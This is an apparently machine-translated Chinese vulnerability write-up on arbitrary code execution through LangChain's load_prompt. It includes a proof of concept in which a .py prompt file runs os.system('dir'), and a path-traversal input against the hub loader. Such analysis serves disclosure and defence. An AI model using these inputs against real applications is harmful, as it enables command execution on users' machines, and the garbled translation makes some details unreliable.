脆弱性简介
Langchain是用于开发由语言模型驱动的应用程序的框架。
在受影响版本的langchain中,因为加载提示文件时,load_prompt函数在加载提示文件时不会在加载内容上执行安全过滤,因此攻击者可以通过构造包含恶意命令的提示文件来诱导用户加载文件任意执行的任意系统命令。
脆弱性复发
在项目test.py
下写入
from langchain . prompts import load_prompt
if __name__ == '__main__' : loaded_prompt = load_prompt ( "system.py" )
system.py在同一目录中写和执行系统命令dir
import os
os . system ( "dir" )
runâtest.py返回执行系统命令的结果
漏洞分析:-_ load_prompt_from_file
langchain.prompts.loading.load_prompt
try_load_from_hub试图从给定路径远程加载文件,但是由于我们正在加载本地文件,因此下一步是跳到loadprompt_from_file
langchain.prompts.loading._load_prompt_from_file
根据loadPrompt_from_fileâ到文件后缀,后缀为.py。
也就是说,代码可以缩写为
if __name__ == '__main__' : file_path = "system.py" with open ( file_path , "rb" ) as f : exec ( f . read ())
漏洞分析:-try_load_from_hub
由于网络,无法重现成功,这是对代码级别的详细分析
来自langchain.prompts import load_prompt _ _
if __name__ == '__main__' : loaded_prompt = load_prompt ( "lc://prompts/../../../../../../../system.py" )
langchain.prompts.loading.load_prompt
langchain.utilities.loading.try_load_from_hub
它是匹配的,首先是hub_path_re = re.compile(r“ lc(?pref@[^:]+)+)?://(?ppath。)),因此需要满足初始的是 * *lc:// *然后匹配以下内容,需要第一个字段的值提示
in最后,剪接请求的URL可以通过绕过项目的限制来设置的文件,并读取和加载以实现任意命令执行
脆弱性摘要
尝试最新版本,此漏洞仍然存在。此漏洞的本质是它可以加载和执行本地或指定的python文件,但是此问题在实际应用程序中不容易利用这个问题,因为Python文件的地址必须仅仅是可以控制的。
>支持链接
来源:-https://tutorialboy24.blogspot.com/2023/07/langchain-arbitrary-command-execution.html